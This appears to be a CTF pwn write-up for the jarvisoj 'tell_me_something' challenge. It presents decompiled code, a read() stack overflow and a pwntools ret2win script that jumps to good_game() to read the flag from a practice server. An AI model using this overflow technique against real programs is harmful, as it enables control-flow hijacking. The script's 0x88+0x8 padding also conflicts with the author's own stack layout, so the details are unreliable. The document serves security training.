HugeH4rD

jarvisoj_tell_me_something

Ubuntu 16

---

0x01

---

checksec

[*] '/home/zelas/Desktop/pwn/jarvisoj_tell_me_something/guestbook'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled		//栈不可执行
    PIE:      No PIE (0x400000)

IDA

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v4; // [rsp+0h] [rbp-88h] BYREF

  write(1, "Input your message:\n", 0x14uLL);
  read(0, &v4, 0x100uLL);					//read()函数存在栈溢出漏洞
  return write(1, "I have received your message, Thank you!\n", 0x29uLL);
}

可疑函数good_game()

int good_game()
{
  FILE *v0; // rbx
  int result; // eax
  char buf[9]; // [rsp+Fh] [rbp-9h] BYREF

  v0 = fopen("flag.txt", "r");
  while ( 1 )
  {
    result = fgetc(v0);
    buf[0] = result;
    if ( (_BYTE)result == 0xFF )
      break;
    write(1, buf, 1uLL);
  }
  return result;
}

//0X400620

0x02

---

思路

1.利用read()处溢出至good_game()

; int __cdecl main(int argc, const char **argv, const char **envp)
public main
main proc near
; __unwind {
sub     rsp, 88h			//
mov     edx, 14h        ; n
mov     esi, offset aInputYourMessa ; "Input your message:\n"
mov     edi, 1          ; fd
call    _write
mov     rsi, rsp        ; buf
mov     edx, 100h       ; nbytes
xor     edi, edi        ; fd
call    _read
mov     edx, 29h ; ')'  ; n
mov     esi, offset aIHaveReceivedY ; "I have received your message, Thank you"...
mov     edi, 1          ; fd
call    _write
add     rsp, 88h			//这里是没有入栈的
retn
; } // starts at 4004E0
main endp

s	0x88
ret	good_game()

0x03

---

exp

from pwn import *

context(os='linux', arch='amd64', log_level='debug')
# io = process(['./guestbook'])
io = remote('node4.buuoj.cn', 25838)

padding = 0x88 + 0x8
good_game = 0X400620
payload = flat(b'a' * padding, good_game)
io.recvuntil(b'Input your message:\n')
io.sendline(payload)
pause()
io.interactive()